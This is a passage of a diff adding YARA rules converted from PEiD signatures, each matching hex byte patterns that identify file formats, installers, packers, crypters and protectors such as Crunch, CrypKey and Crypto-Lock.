+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00401_CorelDraw_8_CDR_Graphics_format_
+{
+    meta:
+        description = "[CorelDraw 8 CDR Graphics format]"
+        ep_only = "false"
+    strings:
+        $a = {52 49 46 46 ?? ?? ?? ?? 43 44 52 38}
+    condition:
+        $a
+}
+
+rule PEiD_00402_CorelDraw_CMX_Graphics_format_
+{
+    meta:
+        description = "[CorelDraw CMX Graphics format]"
+        ep_only = "false"
+    strings:
+        $a = {52 49 46 46 ?? ?? ?? ?? 43 4D 58 31}
+    condition:
+        $a
+}
+
+rule PEiD_00403_CPAV_
+{
+    meta:
+        description = "[CPAV]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? 4D 5A B1 01 93 01 00 00 02}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00404_Cracked_by_AutoHack__1__
+{
+    meta:
+        description = "[Cracked by AutoHack (1)]"
+        ep_only = "true"
+    strings:
+        $a = {FA 50 51 57 56 1E 06 2E 80 3E ?? ?? ?? 74 ?? 8E 06 ?? ?? 2B FF FC}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00405_Cracked_by_Autohack__2__
+{
+    meta:
+        description = "[Cracked by Autohack (2)]"
+        ep_only = "true"
+    strings:
+        $a = {0E 1F B4 09 BA ?? ?? CD 21 FA 8E 06 ?? ?? BE ?? ?? 8B 0E ?? ?? 83 F9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00406_CrackStop_v1_01__c__Stefan_Esser_1997_
+{
+    meta:
+        description = "[CrackStop v1.01 (c) Stefan Esser 1997]"
+        ep_only = "true"
+    strings:
+        $a = {B4 48 BB FF FF B9 EB 27 8B EC CD 21 FA FC}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00407_CreateInstall_2003_3_5_
+{
+    meta:
+        description = "[CreateInstall 2003.3.5]"
+        ep_only = "false"
+    strings:
+        $a = {81 EC 0C 04 00 00 53 56 57 55 68 60 50 40 00 6A 01 6A 00 FF 15 D8 80 40 00 8B F0 FF 15 D4 80 40 00 3D B7 00 00 00 75 0F 56 FF 15 B8 80 40 00 6A 02 FF 15 A4 80 40 00 33 DB E8 F2 FE FF FF 68 02 7F 00 00 89 1D 94 74 40 00 53 89 1D 98 74 40 00 FF 15 E4 80 40}
+    condition:
+        $a
+}
+
+rule PEiD_00408_CreateInstall_Stub_vx_x_
+{
+    meta:
+        description = "[CreateInstall Stub vx.x]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 81 EC 20 02 00 00 53 56 57 6A 00 FF 15 18 61 40 00 68 00 70 40 00 89 45 08 FF 15 14 61 40 00 85 C0 74 27 6A 00 A1 00 20 40 00 50 FF 15 3C 61 40 00 8B F0 6A 06 56 FF 15 38 61 40 00 6A 03 56 FF 15 38 61 40 00 E9 36 03 00 00 68 02 7F 00 00 33 F6 56}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00409_CreateInstall_Stub_vx_x_
+{
+    meta:
+        description = "[CreateInstall Stub vx.x]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 81 EC 20 02 00 00 53 56 57 6A 00 FF 15 18 61 40 00 68 00 70 40 00 89 45 08 FF 15 14 61 40 00 85 C0 74 27 6A 00 A1 00 20 40 00 50 FF 15 3C 61 40 00 8B F0 6A 06 56 FF 15 38 61 40 00 6A 03 56 FF 15 38 61 40 00 E9 36 03 00 00 68 02 7F 00 00 33 F6 56 BF 00 30 00 00 FF 15 20 61 40 00 50 FF 15 2C 61 40 00 6A 04 57 68 00 FF 01 00 56 FF 15 CC 60 40 00 6A 04 A3 CC 35 40 00 57 68 00 0F 01 00 56 FF 15 CC 60 40 00 68 00 01 00 00 BE B0 3F 40 00 56 A3 C4 30 40 00 FF 75 08 FF 15 10 61 40 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00410_CreateInstall_v2003_3_5_
+{
+    meta:
+        description = "[CreateInstall v2003.3.5]"
+        ep_only = "false"
+    strings:
+        $a = {81 EC 0C 04 00 00 53 56 57 55 68 60 50 40 00 6A 01 6A 00 FF 15 D8 80 40 00 8B F0 FF 15 D4 80 40 00 3D B7 00 00 00 75 0F 56 FF 15 B8 80 40 00 6A 02 FF 15 A4 80 40 00 33 DB E8 F2 FE FF FF 68 02 7F 00 00 89 1D 94 74 40 00 53 89 1D 98 74 40 00 FF 15 E4 80 40 00 50 FF 15 E0 80 40 00 8B 0D 00 50 40 00 E8 68 FF FF FF B9 40 0D 03 00 89 44 24 14 E8 5A FF FF FF 68 00 02 00 00 8B 2D D0 80 40 00 89 44 24 1C 8D 44 24 20 50 53 FF D5 8D 4C 24 1C 53 68 00 00 00 80 8B 3D CC 80 40 00 6A 03 53 6A 03 68 00 00 00 80 51 FF D7 8B F0 53 8D 44 24 14 8B 0D 00 50 40 00 8B 54 24 18 50 51 52 56 FF 15 C8 80 40 00 85 C0 0F 84 40 02 00 00 8B 15 00 50 40 00 3B 54 24 10 0F 85 30 02 00 00 6A FF A1 04 50 40 00 2B D0 8B 4C 24 18 03 C8 E8 9F FE FF FF 3B 05 10 50 40 00 0F 85 10 02 00 00 56 FF}
+    condition:
+        $a
+}
+
+rule PEiD_00411_Creative_Audio_file_
+{
+    meta:
+        description = "[Creative Audio file]"
+        ep_only = "false"
+    strings:
+        $a = {43 72 65 61 74 69 76 65 20 56 6F 69 63 65 20 46 69 6C 65}
+    condition:
+        $a
+}
+
+rule PEiD_00412_Crinkler_V0_1_V0_2____Rune_L_H_Stubbe_and_Aske_Simon_Christensen_
+{
+    meta:
+        description = "[Crinkler V0.1-V0.2 -> Rune L.H.Stubbe and Aske Simon Christensen]"
+        ep_only = "true"
+    strings:
+        $a = {B9 ?? ?? ?? ?? 01 C0 68 ?? ?? ?? ?? 6A 00 58 50 6A 00 5F 48 5D BB 03 00 00 00 BE ?? ?? ?? ?? E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00413_Crinkler_V0_3_V0_4____Rune_L_H_Stubbe_and_Aske_Simon_Christensen_
+{
+    meta:
+        description = "[Crinkler V0.3-V0.4 -> Rune L.H.Stubbe and Aske Simon Christensen]"
+        ep_only = "true"
+    strings:
+        $a = {B8 00 00 42 00 31 DB 43 EB 58}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00414_Crunch_4____Bit_Arts_
+{
+    meta:
+        description = "[Crunch 4 -> Bit-Arts]"
+        ep_only = "true"
+    strings:
+        $a = {EB 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 E8 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00415_Crunch_4_0_
+{
+    meta:
+        description = "[Crunch 4.0]"
+        ep_only = "false"
+    strings:
+        $a = {EB 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 E8 00 00 00 00 5D 81 ED 18 00 00 00 8B C5 55 60 9C 2B 85 E9 06 00 00 89 85 E1 06 00 00 FF 74 24 2C E8 BB 01 00 00 0F 82 92 05 00 00 E8 F1 03 00 00 49 0F 88 86 05 00 00 68 6C D9 B2 96 33 C0 50 E8 24}
+    condition:
+        $a
+}
+
+rule PEiD_00416_Crunch_5____Bit_Arts_
+{
+    meta:
+        description = "[Crunch 5 -> Bit-Arts]"
+        ep_only = "false"
+    strings:
+        $a = {EB 15 03 00 00 00 06 00 00 00 00 00 00 00 00 00 00 00 68 00 00 00 00 55 E8 00 00 00 00 5D 81 ED 1D 00 00 00 8B C5 55 60 9C 2B 85 FC 07 00 00 89 85 E8 07 00 00 FF 74 24 2C E8 20 02 00 00 0F 82 94 06 00 00 E8 F3 04 00 00 49 0F 88 88 06 00 00 8B B5 E8 07 00}
+    condition:
+        $a
+}
+
+rule PEiD_00417_Crunch_5___Fusion_4____Bit_Arts_
+{
+    meta:
+        description = "[Crunch 5 / Fusion 4 -> Bit-Arts]"
+        ep_only = "true"
+    strings:
+        $a = {EB 15 03 00 00 00 06 00 00 00 00 00 00 00 00 00 00 00 68 00 00 00 00 55 E8 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00418_Crunch_5_Fusion_4_
+{
+    meta:
+        description = "[Crunch 5 Fusion 4]"
+        ep_only = "false"
+    strings:
+        $a = {EB 15 03 ?? ?? ?? 06 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 55 E8}
+    condition:
+        $a
+}
+
+rule PEiD_00419_Crunch_v4_0_
+{
+    meta:
+        description = "[Crunch v4.0]"
+        ep_only = "true"
+    strings:
+        $a = {EB 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 E8 00 00 00 00 5D 81 ED 18 00 00 00 8B C5 55 60 9C 2B 85 E9 06 00 00 89 85 E1 06 00 00 FF 74 24 2C E8 BB 01 00 00 0F 82 92 05 00 00 E8 F1 03 00 00 49 0F 88 86 05 00 00 68 6C D9 B2 96 33 C0 50 E8 24 03 00 00 89 85 D9 41 00 00 68 EC 49 7B 79 33 C0 50 E8 11 03 00 00 89 85 D1 41 00 00 E8 67 05 00 00 E9 56 05 00 00 51 52 53 33 C9 49 8B D1 33 C0 33 DB AC 32 C1 8A CD 8A EA 8A D6 B6 08 66 D1 EB 66 D1 D8 73 09 66 35 20 83 66 81 F3 B8 ED FE CE 75 EB 33 C8 33 D3 4F 75 D5 F7 D2 F7 D1 5B 8B C2 C1 C0 10 66 8B C1 5A 59 C3 68 03 02 00 00 E8 80 04 00 00 0F 82 A8 02 00 00 96 8B 44 24 04 0F C8 8B D0 25 0F 0F 0F 0F 33 D0 C1 C0 08 0B C2 8B D0 25 33 33 33 33 33 D0 C1 C0 04 0B C2 8B D0 25 55 55 55 55 33 D0 C1 C0 02 0B C2}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00420_Crunch_v5____Bit_Arts_
+{
+    meta:
+        description = "[Crunch v5 -> Bit-Arts]"
+        ep_only = "true"
+    strings:
+        $a = {EB 15 03 00 00 00 06 00 00 00 00 00 00 00 00 00 00 00 68 00 00 00 00 55 E8 00 00 00 00 5D 81 ED 1D 00 00 00 8B C5 55 60 9C 2B 85 FC 07 00 00 89 85 E8 07 00 00 FF 74 24 2C E8 20 02 00 00 0F 82 94 06 00 00 E8 F3 04 00 00 49 0F 88 88 06 00 00 8B B5 E8 07 00 00 8B 56 3C 8D 8C 32 C8 00 00 00 83 39 00 74 50 8B D9 53 68 BB D4 C3 79 33 C0 50 E8 0E 04 00 00 50 8D 95 EC 07 00 00 52 6A 04 68 00 10 00 00 FF B5 E8 07 00 00 FF D0 58 5B C7 03 00 00 00 00 C7 43 04 00 00 00 00 8D 95 F0 07 00 00 52 FF B5 EC 07 00 00 68 00 10 00 00 FF B5 E8 07 00 00 FF D0 68 6C D9 B2 96 33 C0 50 E8 C1 03 00 00 89 85 ?? 46 00 00 68 EC 49 7B 79 33 C0 50 E8 AE 03 00 00 89 85 ?? 46 00 00 E8 04 06 00 00 E9 F3 05 00 00 51 52 53 33 C9 49 8B D1 33 C0 33 DB AC 32 C1 8A CD 8A EA 8A D6 B6 08 66 D1 EB 66 D1}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00421_Crunch_V5_0____Bitarts_
+{
+    meta:
+        description = "[Crunch V5.0 -> Bitarts]"
+        ep_only = "true"
+    strings:
+        $a = {EB 15 03 00 00 00 06}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00422_Crunch_PE_4_0_
+{
+    meta:
+        description = "[Crunch/PE 4.0]"
+        ep_only = "false"
+    strings:
+        $a = {EB 10 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 55 E8 ?? ?? ?? ?? 5D 81 ED 18 ?? ?? ?? 8B C5 55 60 9C 2B 85 E9 06 ?? ?? 89 85 E1 06 ?? ?? FF 74 24 2C E8 BB 01 00 00 0F 82 92 05 00 00 E8 F1 03 00 00 49 0F 88 86 05 00 00 68 6C D9 B2 96 33 C0 50 E8 24}
+    condition:
+        $a
+}
+
+rule PEiD_00423_Crunch_PE_v1_0_x_x_
+{
+    meta:
+        description = "[Crunch/PE v1.0.x.x]"
+        ep_only = "true"
+    strings:
+        $a = {55 E8 ?? ?? ?? ?? 5D 83 ED 06 8B C5 55 60 89 AD ?? ?? ?? ?? 2B 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 80 BD ?? ?? ?? ?? ?? 75 09 C6 85}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00424_Crunch_PE_v2_0_x_x_
+{
+    meta:
+        description = "[Crunch/PE v2.0.x.x]"
+        ep_only = "true"
+    strings:
+        $a = {55 E8 ?? ?? ?? ?? 5D 83 ED 06 8B C5 55 60 89 AD ?? ?? ?? ?? 2B 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 55 BB ?? ?? ?? ?? 03 DD 53 64 67 FF 36 ?? ?? 64 67 89 26}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_00425_Crunch_PE_v3_0_x_x_
+{
+    meta:
+        description = "[Crunch/PE v3.0.x.x]"
+        ep_only = "true"
+    strings:
+        $a = {EB 10 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 55 E8 ?? ?? ?? ?? 5D 81 ED 18 ?? ?? ?? 8B C5 55 60 9C 2B 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? FF 74}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00426_Crunch_PE_v4_0_
+{
+    meta:
+        description = "[Crunch/PE v4.0]"
+        ep_only = "false"
+    strings:
+        $a = {EB 10 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 55 E8 ?? ?? ?? ?? 5D 81 ED 18 ?? ?? ?? 8B C5 55 60 9C 2B 85 E9 06 ?? ?? 89 85 E1 06 ?? ?? FF 74 24 2C E8 BB 01 00 00 0F 82 92 05 00 00 E8 F1 03 00 00 49 0F 88 86 05 00 00 68 6C D9 B2 96 33 C0 50 E8 24 03 00 00 89 85 D9 41 00 00 68 EC 49 7B 79 33 C0 50 E8 11 03 00 00 89 85 D1 41 00 00 E8 67 05 00 00 E9 56 05 00 00 51 52 53 33 C9 49 8B D1 33 C0 33 DB AC 32 C1 8A CD 8A EA 8A D6 B6 08 66 D1 EB 66 D1 D8 73 09 66 35 20 83 66 81 F3 B8 ED FE CE 75 EB 33 C8 33 D3 4F 75 D5 F7 D2 F7 D1 5B 8B C2 C1 C0 10 66 8B C1 5A 59 C3 68 03 02 00 00 E8 80 04 00 00 0F 82 A8 02 00 00 96 8B 44 24 04 0F C8 8B D0 25 0F 0F 0F 0F 33 D0 C1 C0 08 0B C2 8B D0 25 33 33 33 33 33 D0 C1 C0 04 0B C2 8B D0 25 55 55 55 55 33 D0 C1 C0 02 0B C2}
+    condition:
+        $a
+}
+
+rule PEiD_00427_Crunch_PE_
+{
+    meta:
+        description = "[Crunch/PE]"
+        ep_only = "true"
+    strings:
+        $a = {55 E8 ?? ?? ?? ?? 5D 83 ED 06 8B C5 55 60 89 AD ?? ?? ?? ?? 2B 85}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00428_Cruncher_v1_0_
+{
+    meta:
+        description = "[Cruncher v1.0]"
+        ep_only = "true"
+    strings:
+        $a = {2E ?? ?? ?? ?? 2E ?? ?? ?? B4 30 CD 21 3C 03 73 ?? BB ?? ?? 8E DB 8D ?? ?? ?? B4 09 CD 21 06 33 C0 50 CB}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00429_CrypKey____Kenonic_Controls__h__
+{
+    meta:
+        description = "[CrypKey -> Kenonic Controls (h)]"
+        ep_only = "true"
+    strings:
+        $a = {8B 1D ?? ?? 3E 00 83 FB 00 75 0A E8 3C 00 00 00 E8 ?? 0A 00 00 8B 44 24 08 50 E8 ?? 02 00 00 A1 ?? ?? 3E 00 83 F8 01 74 06 FF 25 14 ?? 3E 00 C3 C8 00 00 00 53 8B 5D 08 33 C0 8B 4D 0C 8B 13 33 D3 83 C3 04 03 C2 49 75 F4 5B C9 C3 56 68 ?? ?? 3E 00 E8 ?? 16 00 00 8B F0 68 ?? ?? 3E 00 56 E8 ?? 16 00 00 A3 ?? ?? 3E 00 68 ?? ?? 3E 00 56 E8 ?? 16 00 00 A3 ?? ?? 3E 00 68 ?? ?? 3E 00 56 E8 ?? ?? 00 00 A3 ?? ?? 3E 00 68 ?? ?? 3E 00 56 E8 ?? ?? 00 00 A3 ?? ?? 3E 00 68 ?? ?? 3E 00 56 E8 ?? ?? 00 00 A3 ?? ?? 3E 00 68 ?? ?? 3E 00 56 E8 ?? ?? 00 00 A3 ?? ?? 3E 00 68 ?? ?? 3E 00 56 E8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00430_CrypKey_v5___v6_
+{
+    meta:
+        description = "[CrypKey v5 - v6]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? ?? ?? 58 83 E8 05 50 5F 57 8B F7 81 EF ?? ?? ?? ?? 83 C6 39 BA ?? ?? ?? ?? 8B DF B9 0B ?? ?? ?? 8B 06}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00431_CrypKey_V5_6_X____Kenonic_Controls_Ltd__
+{
+    meta:
+        description = "[CrypKey V5.6.X -> Kenonic Controls Ltd.]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 F8 00 75 07 6A 00 E8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00432_CrypKey_V5_6_X_DLL____Kenonic_Controls_Ltd__
+{
+    meta:
+        description = "[CrypKey V5.6.X DLL -> Kenonic Controls Ltd.]"
+        ep_only = "true"
+    strings:
+        $a = {8B 1D ?? ?? ?? ?? 83 FB 00 75 0A E8 ?? ?? ?? ?? E8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00433_CrypKey_V6_1X_DLL____CrypKey__Canada__Inc__
+{
+    meta:
+        description = "[CrypKey V6.1X DLL -> CrypKey (Canada) Inc.]"
+        ep_only = "true"
+    strings:
+        $a = {83 3D ?? ?? ?? ?? 00 75 34 68 ?? ?? ?? ?? E8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00434_CRYPT_Version_1_7__c__Dismember__COM__
+{
+    meta:
+        description = "[CRYPT Version 1.7 (c) Dismember (COM)]"
+        ep_only = "true"
+    strings:
+        $a = {0E 17 9C 58 F6 C4 01 ?? ?? ?? ?? ?? B4 01 BE ?? ?? BF ?? ?? B9 ?? ?? 68 ?? ?? 68 ?? ?? 68 ?? ?? 57 F3 A4 C3 B0 02 E6 21 60}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00435_CRYPT_Version_1_7__c__Dismember__EXE__
+{
+    meta:
+        description = "[CRYPT Version 1.7 (c) Dismember (EXE)]"
+        ep_only = "true"
+    strings:
+        $a = {0E 17 9C 58 F6 ?? ?? 74 ?? E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00436_CryptCom_v1_1_
+{
+    meta:
+        description = "[CryptCom v1.1]"
+        ep_only = "true"
+    strings:
+        $a = {BF ?? ?? 57 BE ?? ?? ?? B9 ?? ?? F3 A4 C3 8B ?? ?? ?? 8B ?? ?? ?? BF ?? ?? 57 BE ?? ?? ?? AD 33 C2 AB E2 ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00437_Crypter_3_1____SLESH_
+{
+    meta:
+        description = "[Crypter 3.1 -> SLESH]"
+        ep_only = "true"
+    strings:
+        $a = {68 FF 64 24 F0 68 58 58 58 58 FF D4 50 8B 40 F2 05 B0 95 F6 95 0F 85 01 81 BB FF 68}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00438_Cryptic_2_0____Tughack_
+{
+    meta:
+        description = "[Cryptic 2.0 -> Tughack]"
+        ep_only = "true"
+    strings:
+        $a = {B8 00 00 40 00 BB ?? ?? ?? 00 B9 00 10 00 00 BA ?? ?? ?? 00 03 D8 03 C8 03 D1 3B CA 74 06 80 31 ?? 41 EB F6 FF E3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00439_Crypto_Lock_2_02__Eng_____Ryan_Thian_
+{
+    meta:
+        description = "[Crypto-Lock 2.02 (Eng) -> Ryan Thian]"
+        ep_only = "false"
+    strings:
+        $a = {60 BE 15 90 40 00 8D BE EB 7F FF FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 31 C9 83 E8 03 72 0D C1 E0}
+    condition:
+        $a
+}
+
+rule PEiD_00440_Crypto_Lock_2_02__Eng_____Ryan_Thian_
+{
+    meta:
+        description = "[Crypto-Lock 2.02 (Eng) -> Ryan Thian]"
+        ep_only = "true"
+    strings:
+        $a = {60 BE ?? 90 40 00 8D BE ?? ?? FF FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 31 C9 83 E8 03 72 0D C1 E0}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00441_Crypto_Lock_v2_02__Eng_____Ryan_Thian_
+{
+    meta:
+        description = "[Crypto-Lock v2.02 (Eng) -> Ryan Thian]"
+        ep_only = "true"
+    strings:
+        $a = {60 BE 15 90 40 00 8D BE EB 7F FF FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00442_Crypto_Lock_v2_02__Eng_____Ryan_Thian_
+{
+    meta:
+        description = "[Crypto-Lock v2.02 (Eng) -> Ryan Thian]"
+        ep_only = "true"
+    strings:
+        $a = {60 BE 15 90 40 00 8D BE EB 7F FF FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 31 C9 83 E8 03 72 0D C1 E0 08 8A 06 46 83 F0 FF 74 74 89 C5 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 75 20 41 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 83 C1 02 81 FD 00 F3 FF FF 83 D1 01 8D 14 2F 83 FD FC 76 0F 8A 02 42 88 07 47 49 75 F7 E9 63 FF FF FF 90 8B 02 83 C2 04 89 07 83 C7 04 83 E9 04 77 F1 01 CF E9 4C FF FF FF 5E 89 F7 B9 55 00 00 00 8A 07 47 2C E8 3C 01 77 F7 80 3F 01 75 F2 8B 07 8A 5F 04 66 C1 E8 08 C1 C0 10 86 C4 29 F8 80 EB E8 01 F0 89 07}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00443_Crypto_Lock_v2_02__Eng_____Ryan_Thian_
+{
+    meta:
+        description = "[Crypto-Lock v2.02 (Eng) -> Ryan Thian]"
+        ep_only = "true"
+    strings:
+        $a = {60 BE ?? 90 40 00 8D BE ?? ?? FF FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 31 C9 83 E8 03 72 0D C1 E0 08 8A 06 46 83 F0 FF 74 74 89 C5 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 75 20 41 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 83 C1 02 81 FD 00 F3 FF FF 83 D1 01 8D 14 2F 83 FD FC 76 0F 8A 02 42 88 07 47 49 75 F7 E9 63 FF FF FF 90 8B 02 83 C2 04 89 07 83 C7 04 83 E9 04 77 F1 01 CF E9 4C FF FF FF 5E 89 F7 B9 55 00 00 00 8A 07 47 2C E8 3C 01 77 F7 80 3F 01 75 F2 8B 07 8A 5F 04 66 C1 E8 08 C1 C0 10 86 C4 29 F8 80 EB E8 01 F0 89 07}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_00444_CRYPToCRACk_s_PE_Protector_V0_9_2____Lukas_Fleischer___Sign_by_fly_
+{
+    meta:
+        description = "[CRYPToCRACk's PE Protector V0.9.2 -> Lukas Fleischer ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {E8 01 00 00 00 E8 58 5B 81 E3 00 FF FF FF 66 81 3B 4D 5A 75 37 84 DB 75 33 8B F3 03 ?? ?? 81 3E 50 45 00 00 75 26}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00445_CRYPToCRACk_s_PE_Protector_v0_9_3____Lucas_Fleischer__h__
+{
+    meta:
+        description = "[CRYPToCRACk's PE Protector v0.9.3 -> Lucas Fleischer (h)]"
+        ep_only = "true"
+    strings:
+        $a = {5B 81 E3 00 FF FF FF 66 81 3B 4D 5A 75 33 8B F3 03 73 3C 81 3E 50 45 00 00 75 26 0F B7 46 18 8B C8 69 C0 AD 0B 00 00 F7 E0 2D AB 5D 41 4B 69 C9 DE C0 00 00 03 C1 75 09 83 EC 04 0F 85 DD 00 00 00 81 EB 00 01 00 00 75 BE 90 72 ?? ?? ?? ?? 00 00 00 00 00 00 00 7A ?? ?? ?? 72 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 C1 00 46 61 74 61 6C 45 78 69 74}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00446_CRYPToCRACk_s_PE_Protector_V0_9_3____Lukas_Fleischer___Sign_by_fly_
+{
+    meta:
+        description = "[CRYPToCRACk's PE Protector V0.9.3 -> Lukas Fleischer ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {5B 81 E3 00 FF FF FF 66 81 3B 4D 5A 75 33 8B F3 03 73 3C 81 3E 50 45 00 00 75 26 0F B7 46 18 8B C8 69 C0 AD 0B 00 00 F7 E0 2D AB 5D 41 4B 69 C9 DE C0 00 00 03 C1}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00447_CrypWrap_vx_x_
+{
+    meta:
+        description = "[CrypWrap vx.x]"
+        ep_only = "true"
+    strings:
+        $a = {E8 B8 ?? ?? ?? E8 90 02 ?? ?? 83 F8 ?? 75 07 6A ?? E8 ?? ?? ?? ?? FF 15 49 8F 40 ?? A9 ?? ?? ?? 80 74 0E}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00448_Cygwin32_
+{
+    meta:
+        description = "[Cygwin32]"
+        ep_only = "true"
+    strings:
+        $a = {55 89 E5 83 EC 04 83 3D}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00449_D1NS1G____D1N_
+{
+    meta:
+        description = "[D1NS1G -> D1N]"
+        ep_only = "false"
+    strings:
+        $a = {18 37 00 00 00 00 00 00 01 00 0A 00 00 00 18 00 00 80 00 00 00 00 ?? ?? 18 37 00 00 00 00 02 00 00 00 88 00 00 80 38 00 00 80 96 00 00 80 50 00 00 80 00 00 00 00 ?? ?? 18 37 00 00 00 00 00 00 01 00 00 00 00 00 68 00 00 00 00 00 00 00 ?? ?? 18 37 00 00 00 00 00 00 01 00 00 00 00 00 78 00 00 00 B0 F0 00 00 10 00 00 00 00 00 00 00 00 00 00 00 C0 F0 00 00 60 00 00 00 00 00 00 00 00 00 00 00 06 00 44 00 56 00 43 00 4C 00 41 00 4C 00 0B 00 50 00 41 00 43 00 4B 00 41 00 47 00 45 00 49 00 4E 00 46 00 4F 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00450_D1S1G_v1_1_Beta____Scrambled_EXE____D1N_
+{
+    meta:
+        description = "[D1S1G v1.1 Beta ++ Scrambled EXE -> D1N]"
+        ep_only = "false"
+    strings:
+        $a = {E8 07 00 00 00 E8 1E 00 00 00 C3 90 58 89 C2 89 C2 25 00 F0 FF FF 50 83 C0 55 8D 00 FF 30 8D 40 04 FF 30 52 C3 8D 40 00 55 8B EC 83 C4 E8 53 56 57 8B 4D 10 8B 45 08 89 45 F8 8B 45 0C 89 45 F4 8D 41 61 8B 38 8D 41 65 8B 00 03 C7 89 45 FC 8D 41 69 8B 00 03 C7 8D 51 6D 8B 12 03 D7 83 C1 71 8B 09 03 CF 2B CA 72 0A 41 87 D1 80 31 FF 41 4A 75 F9 89 45 F0 EB 71 8B}
+    condition:
+        $a
+}
+
+rule PEiD_00451_D1S1G_v1_1_beta_____D1N_
+{
+    meta:
+        description = "[D1S1G v1.1 beta --> D1N]"
+        ep_only = "false"
+    strings:
